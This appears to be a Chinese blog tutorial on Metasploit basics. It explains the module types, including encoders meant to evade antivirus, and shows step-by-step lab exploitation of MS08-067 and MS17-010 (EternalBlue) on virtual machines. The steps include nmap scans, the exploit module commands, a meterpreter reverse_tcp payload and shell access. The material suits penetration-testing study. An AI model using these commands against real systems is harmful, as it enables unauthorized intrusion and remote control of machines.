3、metasploit渗透测试初识

news2024/11/23 4:26:34

一、Metasploitable2靶机安装

参考 (1条消息) Metasploitable-linux-2.0.0靶机下载配置教程_draper-crypto的博客-CSDN博客_metasploitable2-linux
用户密码:msfadmin/msfadmin

二、模块介绍

exploits(渗透攻击/漏洞利用模块)
渗透攻击模块:
    是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件
    流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,以及用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
渗透攻击模块:
    是Metasploit框架中最核心的功能组件。
payloads(攻击载荷模块)
  • 攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或执行特定代码
  • 攻击载荷模块从最简单的添加用户账号、提供命令行shell、到基于图形化的VNC界面控制,以及最复杂、具有大量后渗透攻击阶段功能特性的Meterpreter,这使得渗透攻击者可以在选定渗透攻击代码之后,从很多适用的攻击载荷中选取他所中意的模块进行灵活地组装,在渗透攻击后获得他所选择的控制会话类型,这种模块化设计与灵活的组装模式也为渗透攻击者提供了极大的便利。
auxiliary(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,他们只负责扫描、嗅探、指纹识别等相关功能以辅助渗透测试
与exploits模块的区别:
  • exploits模块一般与payloads模块联合使用,通过exploits模块渗透成功后执行payloads模块中的代码;
  • auxiliary模块不需要和payloads模块联合使用
nops(空指令模块)
  • 空指令(NOP)是一些对程序运行状态不会造成任何实质性影响的空操作或无关操作指令。最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90。
  • 在渗透攻击构造邪恶数据缓冲区时,常常要在真正执行的Shellcode之前添加一段空指令区。这样,当触发渗透攻击后跳转执行Shellcode时,就会有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败。
  • Matasploit框架中的空指令模块就是用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。
encoders(编译器模块)
编码器模块通过对攻击载荷进行各种不同形式的编码,完成两大任务:
  1. 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”;
  2. 对攻击载荷进行“免杀”处理,即逃避反病毒软件、IDS/IPS的检测与阻断。
post(后渗透攻击模块)
后渗透攻击模块主要用于在渗透攻击取得目标系统远程控制权后,在受控系统中进行的各种后渗透攻击动作,比如获取敏感信息、实施跳板攻击等。
evasion(规避模块)
规避模块主要用于规避Windows Defender防火墙、Windows应 用程序控制策略(applocker)等的检查。

三、metasploit安装

第一种方式是安装kali机器,自带metasploit,参考:手把手教你VMware中安装Kali(超详细)_可乐焖大虾的博客-CSDN博客_vmware安装kali  

第二种方式是docker安装:
docker run -it --name metasploit  metasploitframework/metasploit-framework
show exploits:显示漏洞利用模块
show auxiliary:显示辅助模块,一般是扫描、拒绝服务、Fuzz测试
show options(或者直接输入:options)
  • 显示当前模块需要的参数
  • back 命令,回退到上一个状态
  • search 命令,搜索相关的渗透测试模块
show payloads:显示当前模块支持的载荷
show targets:显示能够被漏洞利用的 主机类型
info:显示当前模块的完整信息
set(unset)
  • 设置(取消)字段的值
  • 对于Required标记为yes的字段,必须要设置
run(或者输入:exploit):
  • set payload设置载荷路径
  • 向目标主机发射攻击载荷
成功拿到目标的控制权,metasploit 使用就是这么简单:

四、利用Metasploit进行渗透测试的一般流程

  • 扫描目标主机系统,寻找可用漏洞
  • 选择并配置渗透攻击(漏洞利用)模块(exploits)
  • 选择并配置攻击载荷模块(payloads)
  • 选择- -种编码技术(encoders),用来绕过杀毒软件的查杀
  • 执行渗透攻击
  • 后渗透阶段的操作

4.1、exploit模块应用实例一ms08-067 漏洞利用渗透测试工具——Metasploit_.SYS.的博客-CSDN博客_metasploit

环境:
    Windows Server 2003 sp2中文版(含ms08-067漏洞)Windows xp 英文版-192.168.0.107
    虚拟机Kali-192.168.0.103
步骤1:Nmap漏洞探测,确认其存在ms08-067漏洞
nmap -sT -A --script=smb-vuln-ms08-067 -P0 192.168.0.107
  • -sT:隐蔽的tcp扫描
  • -A:高级系统指纹扫描,全面系通过检测
  • -P0:扫描之前不使用ping,适用于防火墙禁止ping比较有用

 步骤2:在msf终端下输入以下命令查找ms08-067相关模块

步骤3:进入漏洞利用模块,并查看需要设置的字段
步骤4:设置目标主机IP,并查看目标主机类型
步骤5:设置目标主机类型,检查Required字段全部填写
步骤6:执行攻击
溢出攻击执行成功后,会显示meterpreter的提示符( 因为步骤5中默认设置了payload:windows/meterpreter/reverse_tcp
直接在该提示符下输入shell命令,则可以拿到目标机的shell
步骤7:保存留作以后利用

4.2、exploit模块应用实例一ms017-010(永恒之蓝) 漏洞利用

环境:
    操作机: Kali 192.168.11.106
    靶机:Windows Server 2008 R2  192.168.11.134
永恒之蓝利用445端口的SMB服务,操作系统溢出漏洞,所以可直接nmap 192.168.11.0/24 -p 445探测哪些机器存在ms017-010漏洞。
骤1:查找ms17-010相关模块
步骤2:分别输入以下命令,使用smb_ms17_010模块对目标机进行漏洞检测,确认其存在ms17-010漏洞
  • use auxiliary/scanner/smb/smb_ms17_010 (也可以use【payload对于序列号】)//使用smb_ ms17_ 010模块
  • show options //查看该模块需要设置哪些参数
  • set RHOST 192.168.147.132 //设罟目标机的IP地址 或者 IP范围set RHOST 192.168.147.132-192.168.147.253
骤3:确认参数设置完毕后,利用run命令执行漏洞检测
有+号的就是可能存在漏洞的主机,检测结果为靶机具有ms17-010漏洞(vulnerable)。
骤4:分别输入以下命令,使用ms17_010_eternalblue 模块对目标机的ms17-010漏洞进行利用
  • use exploit/windows/smb/ms17_010_eternalblue  //使用ms17_ 010_ eternalblue模块
  • set RHOSTS 192.168.11.134 //设置 目标机的IP地址
  • set payload windows/x64/meterpreter/reverse_tcp //使用payload: meterpreter/reverse_ tcp
  • set RPORT 445 //设置目标端口
  • set target 3 //设置目标操作系统类型为Windows Server 2008 R2
骤5:确认参数设置完毕后,利用run命令执行漏洞利用
攻击执行成功后,会显示meterpreter的提示符(因为步骤5在设置payload时选择了windows/x64/meterpreter/reverse_tcp )。直接在该提示符下输入shell命令,则可以拿到目标机的shell。
步骤6:后渗透阶段
运行run(或exploit)命令之后,开启了一个 reverse TCP监听器来监听本地的4444端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。运行成功后,将会看到命令提示符“meterpreter >”出现,我们输入“shell”,即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入“exit”。
要想从 meterpreter 退出到MSF框架,输入“background
输入 “sessions -l” 查看我们获得的shell
输入 “sessions -i 1” 即可切换到id为1的shell  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/91631.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SuperMap GIS 倾斜摄影数据优化 QA

一、为什么要优化 倾斜摄影数据自身存在文件碎、体量大等特点。未经优化的倾斜摄影在目前市面上主流的三维平台上加载均会出现加载慢,浏览效率低等问题。特别是在浏览器端受文件请求量、网络带宽、硬件性能等方面的影响,倾斜摄影的显示效果往往不尽人意…

元房地产经纪人 — 科幻系列包 #2 来袭!

OUTR Studios 刚刚发布了他们最新的 The Sandbox 元宇宙科幻包,里面装满了很多好东西!新内容包括两个非玩家角色 (NPC)、两套可装备的太空服和两个独特的太空无人机。这个最新版本肯定会为已有的模块化科幻构建套件增添更多乐趣。无论你们是与朋友一起建…

大屏适配的两种方案

现在做大屏的需求越来越多,大屏的适配是个头疼的事情 一、基于rem的适配方案 rem是什么? rem是指相对于根元素的字体大小的单位,在日常开发过程中我们通常把根元素(html/body)的字体设置为10px,方便于我们计算(此时子元素的1rem就相当于10px)。 适用场景 不固定宽高…

A_A05_001 aithinker_serial_tool_安信可调试助手使用

目录 一、软件获取 二、软件基本功能介绍 1、接收区 2、串口通信参数配置区 3、串口打开关闭与其他设置区域 4、手动发送区域 5、多文本发送区 6、辅助区域 三、注意事项 一、软件获取 网盘链接 直戳跳转 二、软件基本功能介绍 1、接收区 接收区就是接收外部设备给串口…

理解vue2.x版本中productionTip=false设置无效的原因

首先&#xff0c;我们看到vue官网中关于productionTip的API使用&#xff1a; 但是&#xff0c;我在本地中使用却无效&#xff0c;代码如下&#xff1a; <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta htt…

写接口用例文档,测接口

定义数据工具 共用API文档 产品、设计、前端、后端、测试、运维、售前、售后 mock 自动生成code和data 前后端 编写接口文档 post json格式 查询需要token值 APIfox介绍 一、常用解决方案 使用 Swagger 管理 API 文档 使用 Postman 调试 API 使用 mockjs 等工具 Mock AP…

算法刷题打卡第46天:排序数组---堆排序

排序数组 难度&#xff1a;中等 给你一个整数数组 nums&#xff0c;请你将该数组升序排列。 示例 1&#xff1a; 输入&#xff1a;nums [5,2,3,1] 输出&#xff1a;[1,2,3,5]示例 2&#xff1a; 输入&#xff1a;nums [5,1,1,2,0,0] 输出&#xff1a;[0,0,1,1,2,5]堆排序…

[附源码]Python计算机毕业设计高校图书馆网站Django(程序+LW)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程 项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等…

C++初阶 模板进阶

作者&#xff1a;小萌新 专栏&#xff1a;C初阶 作者简介&#xff1a;大二学生 希望能和大家一起进步&#xff01; 本篇博客简介&#xff1a;介绍进阶模板的一些特性 C 模板进阶非类型模板参数注意点模板的特化概念函数模板特化类模板的特化全特化偏特化模板的编译分离什么是编…

再见print !这个牛逼的库竟然这么强!

PySnooper 是一个非常方便的调试器。如果您正在试图弄清楚为什么您的Python代码没有按照您的预期去做&#xff0c;您会希望使用具有断点和监视功能的成熟Debug工具&#xff0c;但是许多Debug工具配置起来非常麻烦。 现在&#xff0c;有了PySnooper&#xff0c;您并不需要配置那…

最长回文子串问题(Manacher算法)

文章目录题目1&#xff09;例子演示2&#xff09;思路分析3&#xff09;Manacher 算法4&#xff09;代码展示题目 如何求得某字符串 str 的最长回文子串的长度&#xff1f; 要求时间复杂度 O(N) 1&#xff09;例子演示 什么是回文子串&#xff1f; 回文串即该字符串从前往…

Stable Diffusion 迁移和部署

文章目录1. 模型概述2. 模型架构3. 模型迁移流程3.1 前置准备3.2 CLIP text encoder3.3 VQ-VAE (fp16)3.4 Text conditioned unet3.5 创建pipeline3.6 web demo部署4. 效果展示5. 相关链接此实验需要最新的sdk实现模型的迁移&#xff0c;最终在1684X上进行推理。代码地址为&…

mysqldumpslow和mysqldumpslow

mysqldumpslow 这是一款mysql自带的慢查询工具&#xff0c;个人使用下来发现&#xff0c;可以满足在很多慢日志中找到有问题的慢的sql&#xff0c;并且可以进行sql排序。属于一种短小精干的工具。 命令大概形式&#xff1a; slowlog是需要分析的日志 mysqldumpslow -s c -t 1…

rocketmq源码-consumer启动

前言 这篇笔记记录consumer启动的逻辑 consumer主要是负责去broker中拉取消息&#xff0c;然后将拉取到的消息&#xff0c;交给消费者去处理 consumer本质上也是一个netty客户端&#xff0c;所以&#xff0c;在启动的时候&#xff0c;和producer有很多相似的点&#xff0c;但是…

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-052(CVE-2017-9805)

&#x1f36c; 博主介绍 &#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 _PowerShell &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 &#x1f389;点赞➕评论➕收藏 养成习…

[附源码]Node.js计算机毕业设计高校国防教育管理系统Express

项目运行 环境配置&#xff1a; Node.js最新版 Vscode Mysql5.7 HBuilderXNavicat11Vue。 项目技术&#xff1a; Express框架 Node.js Vue 等等组成&#xff0c;B/S模式 Vscode管理前后端分离等等。 环境需要 1.运行环境&#xff1a;最好是Nodejs最新版&#xff0c;我…

基于java+springboot+mybatis+vue+mysql的结合疫情情况的婚恋系统

项目介绍 现实生活中&#xff0c;很多年轻人的社交圈实际上很狭窄&#xff0c;一方面&#xff0c;多元化的社交方式太少了&#xff0c;另一方面&#xff0c;都市人繁忙的生活又让他们很少有空闲去体验传统交友方式&#xff0c;而网络的快捷和多元化恰恰提供了一个好的交友起点…

Blazor组件自做十三: VideoPlayer 视频播放器

Video.js 是一个具有大量功能的流行的视频和音频 JavaScript 库,今天我们试试集成到 Blazor . Blazor VideoPlayer 视频播放器 组件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VwxxYiKn-1671068849666)(null)] 示例 https://blazor.app1.es/v…

为什么现代企业的ERP系统必须具备CRM?

各行各业的企业都依赖ERP系统和客户关系管理 (CRM) 系统来简化业务运营。企业的销售和运营信息必须实时联系起来&#xff1b;否则&#xff0c;企业的客户活动在现代社会就会变得缓慢或没有效率。 以下业务对象通常被映射在用于销售的CRM系统和用于运营的ERP系统之间&#xff0…

【Processing】我给网友 “战场小包” 做了他的 “自画像”.

前言 突然疫情放开了&#xff0c;在掘金里认识的一个掘友&#xff08;战场小包&#xff09;&#xff0c;突然今天找我。 &#xff1a;寻思啥事呢&#xff0c;原来找我做个自画像。 &#xff1a;行&#xff01;没问题&#xff01; &#xff1a;结果等半天&#xff08;一晚上到今…